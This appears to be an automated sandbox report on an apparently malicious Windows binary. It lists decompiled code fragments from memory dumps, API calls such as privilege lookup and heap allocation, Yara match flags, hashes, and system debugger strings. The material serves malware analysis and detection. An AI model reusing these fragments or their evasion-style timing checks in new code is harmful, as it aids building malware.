Instruction ID: f25c31dca59e402eed940dc019a0d797a0a69b17a3d7703ae6a687004c07317f
Opcode Fuzzy Hash: 06fd322942ba128755f532ab5c10288b09902957ba08c603db56d4d971c22364
Instruction Fuzzy Hash: 59D012752006146BE710EF94DC46FD77758EF44761F154459BA1C5B282C934E90087D0

Uniqueness

Uniqueness Score: -1.00%

Function 004182F0, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004182F0(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t11;

				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x409743
				E00418DC0(_t11, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x004182f3
0x004182f6
0x004182ff
0x00418307
0x00418315
0x00418319

APIs

NtClose.NTDLL(00413D30,?,?,00413D30,00408AF3,FFFFFFFF), ref: 00418315

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: fa02b1b0b4c248d7afc65a810b6911db7169f724aa7cfa6c67706bd771296af7
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: F5D01776200314ABD710EF99DC85EE77BACEF48760F154499BA189B282CA30FA0086E0

Uniqueness

Uniqueness Score: -1.00%

Function 012B9910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B991A

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 76345bbb4593ebf206b2b077cb05f0e25efd93820b5cc7a8495f314aa77e8e5c
Instruction ID: 96839b721729f99eff54cc84ecc51c551fed3d7ba85fcd24073e19cc4eec8b36
Opcode Fuzzy Hash: 76345bbb4593ebf206b2b077cb05f0e25efd93820b5cc7a8495f314aa77e8e5c
Instruction Fuzzy Hash: 8D9002B121104802D24071A944047460005A7D0741F51C125A6054594EC6998ED577E5

Uniqueness

Uniqueness Score: -1.00%

Function 012B99A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B99AA

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4ae390c50fb99ffbd951d0ac8a89cf166a5787ce139367af87e35fa2d9baf487
Instruction ID: e2477492e1b84cd48b8a5b1b2897168caa144164d0acc63f072c8b340ed0801d
Opcode Fuzzy Hash: 4ae390c50fb99ffbd951d0ac8a89cf166a5787ce139367af87e35fa2d9baf487
Instruction Fuzzy Hash: 469002B135104842D20061A94414B060005E7E1741F51C129E2054594DC659CD5272A6

Uniqueness

Uniqueness Score: -1.00%

Function 012B9860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B986A

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 40103196651857a3f6042322677467829101836402d24118a83f07aec2b7f97d
Instruction ID: 57bb3e8d8d21c8463e3b10911ef8005a8fb267a5fdf6c99f77e0d30ffb820c69
Opcode Fuzzy Hash: 40103196651857a3f6042322677467829101836402d24118a83f07aec2b7f97d
Instruction Fuzzy Hash: 9490027121104813D21161A945047070009A7D0681F91C526A1414598DD6968A52B2A1

Uniqueness

Uniqueness Score: -1.00%

Function 012B9840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B984A

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3741a1d731215d6417eb6e5500e9dece12a9f1640a80112a29dff8964d9e14a0
Instruction ID: 5945fa326243c07577158b03d8868e5998f7da20d822ece1e8cda02566675d07
Opcode Fuzzy Hash: 3741a1d731215d6417eb6e5500e9dece12a9f1640a80112a29dff8964d9e14a0
Instruction Fuzzy Hash: 04900271252085525645B1A944045074006B7E0681791C126A2404990CC5669956E7A1

Uniqueness

Uniqueness Score: -1.00%

Function 012B98F0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B98FA

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 406f028831b358b3c8b848406d53b7116c6a038c42040f1b8625585cbcb67b01
Instruction ID: 1df0b03ee86a2d0f5294abcbcb687ec3270044745f0075acb12af98e214bf059
Opcode Fuzzy Hash: 406f028831b358b3c8b848406d53b7116c6a038c42040f1b8625585cbcb67b01
Instruction Fuzzy Hash: 8490027161104902D20171A94404616000AA7D0681F91C136A2014595ECA658A92B2B1

Uniqueness

Uniqueness Score: -1.00%

Function 012B9A20, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B9A2A

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8a30d4a14eaaa6324a3cfd6b405d510bb35d91e8c673540d7e4040a55b0c750a
Instruction ID: f955f2c16e26cdbfebe53d0f2afadc24c32e58bf77cd0a89fd42c0f3d455a37b
Opcode Fuzzy Hash: 8a30d4a14eaaa6324a3cfd6b405d510bb35d91e8c673540d7e4040a55b0c750a
Instruction Fuzzy Hash: C690027161104442424071B988449064005BBE1651751C235A1988590DC599896567E5

Uniqueness

Uniqueness Score: -1.00%

Function 012B9A00, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B9A0A

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 78494f954494f5fc98d8626be8e809e72bed649ba06dba6953f32adb1a9f01ca
Instruction ID: 021717d18173c3d059fe819ba94a5aee8386520bc18ca14a40cf34241e84b1b3
Opcode Fuzzy Hash: 78494f954494f5fc98d8626be8e809e72bed649ba06dba6953f32adb1a9f01ca
Instruction Fuzzy Hash: CC90027121144802D20061A9481470B0005A7D0742F51C125A2154595DC665895176F1

Uniqueness

Uniqueness Score: -1.00%

Function 012B9A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B9A5A

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 870c1bc6a0459b6c76af9efed77448be03e37ace9927b149c4f10e5c47e98d2c
Instruction ID: e428bdf3879bebd1a6968488e258810642aa7980ae4688087a85eef418a7b7ed
Opcode Fuzzy Hash: 870c1bc6a0459b6c76af9efed77448be03e37ace9927b149c4f10e5c47e98d2c
Instruction Fuzzy Hash: 4590027122184442D30065B94C14B070005A7D0743F51C229A1144594CC955896166A1

Uniqueness

Uniqueness Score: -1.00%

Function 012B9540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B954A

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2b88e5b2f4a95ff59c2c43c512308a0a68cedb4306561ddca18e046d82892c64
Instruction ID: 2ee3cd812b62edd704fe972ed16176a5a70b0a1e5da9ab4c941a8cf9d12dfb75
Opcode Fuzzy Hash: 2b88e5b2f4a95ff59c2c43c512308a0a68cedb4306561ddca18e046d82892c64
Instruction Fuzzy Hash: AD900275221044030205A5A907045070046A7D5791351C135F2005590CD661896162A1

Uniqueness

Uniqueness Score: -1.00%

Function 012B95D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B95DA

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: dc2c544d79a19fd8e5db52bed006f355326271ab97fed70464e9e865853f5094
Instruction ID: a0e30494ecb449de5fe6234946dcb9926ac8a6fd1ce037d197e76b88de6b8ca8
Opcode Fuzzy Hash: dc2c544d79a19fd8e5db52bed006f355326271ab97fed70464e9e865853f5094
Instruction Fuzzy Hash: 0F9002B121204403420571A94414616400AA7E0641B51C135E20045D0DC565899172A5

Uniqueness

Uniqueness Score: -1.00%

Function 012B9710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B971A

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3afbf405cb0eec25ff404aa0104720ba3cb522fe05d1c9a706956d92724b8a56
Instruction ID: 6c9542981984c5296ffb9c269d9302bce964abd7d7a84ef0c4677778d3df7381
Opcode Fuzzy Hash: 3afbf405cb0eec25ff404aa0104720ba3cb522fe05d1c9a706956d92724b8a56
Instruction Fuzzy Hash: 0F90027121104802D20065E954086460005A7E0741F51D125A6014595EC6A5899172B1

Uniqueness

Uniqueness Score: -1.00%

Function 012B97A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B97AA

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3a35aaa8a065d9db16bf89df03ca3c7b55e892501b3120755233bbef2db1abc5
Instruction ID: 887b6dab5489286d9ea395ef8f8cf732a24ad2a0140844eefe0c880032285e49
Opcode Fuzzy Hash: 3a35aaa8a065d9db16bf89df03ca3c7b55e892501b3120755233bbef2db1abc5
Instruction Fuzzy Hash: 3090027131104403D24071A954186064005F7E1741F51D125E1404594CD955895663A2

Uniqueness

Uniqueness Score: -1.00%

Function 012B9780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B978A

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 31a51d529e291cf0864d542e10b0e5ea420efb4678f862991b8c3fcb3d3211df
Instruction ID: 5a86236f0abfc0c3ba63655e8673ee3932fc076cae70db7ec13eaf3d82f2efb8
Opcode Fuzzy Hash: 31a51d529e291cf0864d542e10b0e5ea420efb4678f862991b8c3fcb3d3211df
Instruction Fuzzy Hash: 6290027922304402D28071A9540860A0005A7D1642F91D529A1005598CC955896963A1

Uniqueness

Uniqueness Score: -1.00%

Function 012B9FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B9FEA

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0680710023f29665d8833eb3695984b2b80055cffceb60b7b479133662715782
Instruction ID: 6f1ecf7260ec6a8be1a53419c66c73b3c09e0275aad4eb95f90d95c188b460ec
Opcode Fuzzy Hash: 0680710023f29665d8833eb3695984b2b80055cffceb60b7b479133662715782
Instruction Fuzzy Hash: 6590027132118802D21061A984047060005A7D1641F51C525A1814598DC6D5899172A2

Uniqueness

Uniqueness Score: -1.00%

Function 012B9660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B966A

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0d2d97beafc764534caaabc059e638858d6301bbb992af71cd92b107544b440b
Instruction ID: baac4e165016529ca55aa6bbc03c3de89a616a256042a8a163d680fda51b9a69
Opcode Fuzzy Hash: 0d2d97beafc764534caaabc059e638858d6301bbb992af71cd92b107544b440b
Instruction Fuzzy Hash: 6F90027121104C02D28071A9440464A0005A7D1741F91C129A1015694DCA558B5977E1

Uniqueness

Uniqueness Score: -1.00%

Function 012B96E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B96EA

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: eaf23bb47b9eb1acf2b48262833ef5d396de83560af242671d82dccec2d697a3
Instruction ID: 48332a24bb1ae2ec989c17a358fe99daa9feb469d2e5658e8cac2764106cf975
Opcode Fuzzy Hash: eaf23bb47b9eb1acf2b48262833ef5d396de83560af242671d82dccec2d697a3
Instruction Fuzzy Hash: B39002712110CC02D21061A9840474A0005A7D0741F55C525A5414698DC6D5899172A1

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E004088B0(void* __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				char _v24;
				char _v284;
				char _v804;
				char _v840;
				void* __ebx;
				void* __ebp;
				void* _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t39;
				void* _t52;
				intOrPtr _t54;
				void* _t55;
				void* _t56;
				void* _t57;
				void* _t58;

				_t54 = _a4;
				_t39 = 0; // executed
				_t24 = E00406E00(__ecx, __edx, _t54,  &_v24); // executed
				_t56 = _t55 + 8;
				if(_t24 != 0) {
					E00407010( &_v24,  &_v840);
					_t57 = _t56 + 8;
					do {
						E00419CD0( &_v284, 0x104);
						E0041A340( &_v284,  &_v804);
						_t58 = _t57 + 0x10;
						_t52 = 0x4f;
						while(1) {
							_t31 = E00413DD0(E00413D70(_t39, _t54, _t52),  &_v284);
							_t58 = _t58 + 0x10;
							if(_t31 != 0) {
								break;
							}
							_t52 = _t52 + 1;
							if(_t52 <= 0x62) {
								continue;
							} else {
							}
							goto L8;
						}
						_t9 = _t54 + 0x14; // 0xffffe1a5
						 *(_t54 + 0x474) =  *(_t54 + 0x474) ^  *_t9;
						_t39 = 1;
						L8:
						_t33 = E00407040( &_v24,  &_v840);
						_t57 = _t58 + 8;
					} while (_t33 != 0 && _t39 == 0);
					_t34 = E004070C0(_t54,  &_v24); // executed
					if(_t39 == 0) {
						asm("rdtsc");
						asm("rdtsc");
						_v8 = _t34 - 0 + _t34;
						 *((intOrPtr*)(_t54 + 0x55c)) =  *((intOrPtr*)(_t54 + 0x55c)) + 0xffffffba;
					}
					 *((intOrPtr*)(_t54 + 0x31)) =  *((intOrPtr*)(_t54 + 0x31)) + _t39;
					_t20 = _t54 + 0x31; // 0x5608758b
					 *((intOrPtr*)(_t54 + 0x32)) =  *((intOrPtr*)(_t54 + 0x32)) +  *_t20 + 1;
					return 1;
				} else {
					return _t24;
				}
			}

0x004088bb
0x004088c3
0x004088c5
0x004088ca
0x004088cf
0x004088e2
0x004088e7
0x004088f0
0x004088fc
0x0040890f
0x00408914
0x00408917
0x00408920
0x00408932
0x00408937
0x0040893c
0x00000000
0x00000000
0x0040893e
0x00408942
0x00000000
0x00000000
0x00408944
0x00000000
0x00408942
0x00408946
0x00408949
0x0040894f
0x00408951
0x0040895c
0x00408961
0x00408964
0x00408971
0x0040897c
0x0040897e
0x00408984
0x00408988
0x0040898b
0x0040898b
0x00408992
0x00408995
0x0040899a
0x004089a7
0x004088d6
0x004088d6
0x004088d6

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67bb4e2207c22d687f6acc024d55c7e0c161e5d4599185de851a30ee67947c6b
Instruction ID: aa626ceb7ef0a3bcdbf1efb1d9dc2f5a7bb3811b4857f0e914c6161f28eec10c
Opcode Fuzzy Hash: 67bb4e2207c22d687f6acc024d55c7e0c161e5d4599185de851a30ee67947c6b
Instruction Fuzzy Hash: FE213AB3D402085BDB10E6649D42BFF73AC9B50304F44057FF989A3182F638BB4987A6

Uniqueness

Uniqueness Score: -1.00%

Function 00418502, Relevance: 3.0, APIs: 2, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00413516,?,00413C8F,00413C8F,?,00413516,?,?,?,?,?,00000000,00408AF3,?), ref: 004184BD
ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418538

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateExitHeapProcess
String ID:
API String ID: 1054155344-0
Opcode ID: 1ab25f4d412dc7ab3145733693ef6a368349cf6b395cdea43ec5193d35e98351
Instruction ID: b9040a9014359ddbb491be29ad0d8d460660dd7e67a3eaf463eb900c14e67808
Opcode Fuzzy Hash: 1ab25f4d412dc7ab3145733693ef6a368349cf6b395cdea43ec5193d35e98351
Instruction Fuzzy Hash: 51F08C761002247BD620EF68CC84EE73B6DEF89260F24859DF95C5B246CA30A9058AA0

Uniqueness

Uniqueness Score: -1.00%

Function 00407260, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00407260(void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t21;
				intOrPtr* _t25;
				void* _t26;

				_v68 = 0;
				E00419D20( &_v67, 0, 0x3f);
				E0041A900( &_v68, 3);
				_t12 = E00409B20(_a4 + 0x1c,  &_v68); // executed
				_t13 = E00413E30(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
				_t25 = _t13;
				if(_t25 != 0) {
					_t21 = _a8;
					_t14 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
					_t32 = _t14;
					if(_t14 == 0) {
						_t14 =  *_t25(_t21, 0x8003, _t26 + (E00409280(_t32, 1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x0040726f
0x00407273
0x0040727e
0x0040728e
0x0040729e
0x004072a3
0x004072aa
0x004072ad
0x004072ba
0x004072bc
0x004072be
0x004072db
0x004072db
0x00000000
0x004072dd
0x004072e2

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004072BA

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 2611248cf2981be21f72ca7afad4f10f88413beaa9ea5ad5021ab45b4f53d4d7
Instruction ID: bbcd0b2e5740072d15388175686a93538b06234ac68ffc2b081785cbfc84dfa6
Opcode Fuzzy Hash: 2611248cf2981be21f72ca7afad4f10f88413beaa9ea5ad5021ab45b4f53d4d7
Instruction Fuzzy Hash: 2B01D431A8022876E720A6959C03FFF772C9B00B54F05405EFF04BA1C2E6A87D0682EA

Uniqueness

Uniqueness Score: -1.00%

Function 00418621, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFA2,0040CFA2,00000041,00000000,?,00408B65), ref: 00418660

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 8d0c1e0208eaab398058255a39b0d79bebdff501a0beadc921e52859c4c756ae
Instruction ID: f8b6fedc6ecf3643c524a5332722cf18cffbbdbda17feafca68f5f46518d1d8a
Opcode Fuzzy Hash: 8d0c1e0208eaab398058255a39b0d79bebdff501a0beadc921e52859c4c756ae
Instruction Fuzzy Hash: 5001C075200204BFDB14DF45CC45EE777A8EF45750F108569FA4D9B242CA34E810CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 004184D0, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004184D0(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;
				void* _t15;

				_t3 = _a4 + 0xc74; // 0xc74
				E00418DC0(_t15, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x004184df
0x004184e7
0x004184fd
0x00418501

APIs

RtlFreeHeap.NTDLL(00000060,00408AF3,?,?,00408AF3,00000060,00000000,00000000,?,?,00408AF3,?,00000000), ref: 004184FD

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: 0c1265b7fbf046cbfd36917309396888787f1b5b9f48543de1c0af89871077f5
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: 2EE01AB12002046BD714DF59DC45EA777ACAF88750F014559F90857241CA30E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00418490, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00418490(intOrPtr _a4, void* _a16) {
				void* _v3;
				void* _t6;
				void* _t7;
				void* _t8;
				void* _t11;

				_t5 = _a4;
				_t8 =  *(_a4 + 0x10);
				_t6 = E00418DC0(_t11, _t5, _t5 + 0xc70, _t8, 0, 0x34);
				asm("adc al, 0x8b");
				asm("adc [ebx-0x3b7cf3b3], cl");
				asm("adc al, 0x52");
				_push(_t6);
				_t7 = RtlAllocateHeap(_t8); // executed
				return _t7;
			}

0x00418493
0x00418496
0x004184a7
0x004184ae
0x004184b1
0x004184b7
0x004184bb
0x004184bd
0x004184c1

APIs

RtlAllocateHeap.NTDLL(00413516,?,00413C8F,00413C8F,?,00413516,?,?,?,?,?,00000000,00408AF3,?), ref: 004184BD

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: d4cd8ba0fc8cb19801f053331f4cf649e26225416c3eadc5d6da7764d9533391
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 81E012B1200208ABDB14EF99DC41EA777ACAF88654F118559FA085B282CA30F9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00418630, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418630(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;
				void* _t15;

				E00418DC0(_t15, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041864a
0x00418660
0x00418664

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFA2,0040CFA2,00000041,00000000,?,00408B65), ref: 00418660

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: a95af6b202be8dae21372797db95a078404a8f30fafd20f5c772dce95c9aa66f
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 31E01AB12002086BDB10DF49DC85EE737ADAF89650F018559FA0857241CA34E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 00418510, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418510(intOrPtr _a4, int _a8) {
				void* _t10;

				_t5 = _a4;
				E00418DC0(_t10, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t5 + 0xa14)), 0, 0x36);
				ExitProcess(_a8);
			}

0x00418513
0x0041852a
0x00418538

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418538

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: 7205fd5e3e27dabd4e13006f85928de99448ffddaf0958f387cae24292a3a6f6
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: ACD012716003147BD620DF99DC85FD7779CDF49750F018469BA1C5B241C931BA0086E1

Uniqueness

Uniqueness Score: -1.00%

Function 012B967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012B9694

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 51307ebe8dd8b29dda14c9c1db6c6fd9f50b7a987c9d7a9d1191f9ac02e28046
Instruction ID: 022691083e3ce8eb8f3db7cbf1cf4487226cfda20b5dc0ca925c18c5ab37bcf3
Opcode Fuzzy Hash: 51307ebe8dd8b29dda14c9c1db6c6fd9f50b7a987c9d7a9d1191f9ac02e28046
Instruction Fuzzy Hash: EFB09BB19114C5C9DB11D7B44648717790077D0745F26C166D3020681B4778D1D1F6F5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0132B260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

a NULL pointer, xrefs: 0132B4E0
*** then kb to get the faulting stack, xrefs: 0132B51C
*** Resource timeout (%p) in %ws:%s, xrefs: 0132B352
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 0132B323
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 0132B2DC
The critical section is owned by thread %p., xrefs: 0132B3B9
*** A stack buffer overrun occurred in %ws:%s, xrefs: 0132B2F3
*** enter .exr %p for the exception record, xrefs: 0132B4F1
The resource is owned exclusively by thread %p, xrefs: 0132B374
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 0132B39B
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0132B38F
Go determine why that thread has not released the critical section., xrefs: 0132B3C5
The resource is owned shared by %d threads, xrefs: 0132B37E
The instruction at %p tried to %s , xrefs: 0132B4B6
This failed because of error %Ix., xrefs: 0132B446
write to, xrefs: 0132B4A6
read from, xrefs: 0132B4AD, 0132B4B2
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 0132B47D
*** An Access Violation occurred in %ws:%s, xrefs: 0132B48F
<unknown>, xrefs: 0132B27E, 0132B2D1, 0132B350, 0132B399, 0132B417, 0132B48E
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0132B3D6
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 0132B305
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 0132B484
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 0132B314
The instruction at %p referenced memory at %p., xrefs: 0132B432
*** enter .cxr %p for the context, xrefs: 0132B50D
*** Inpage error in %ws:%s, xrefs: 0132B418
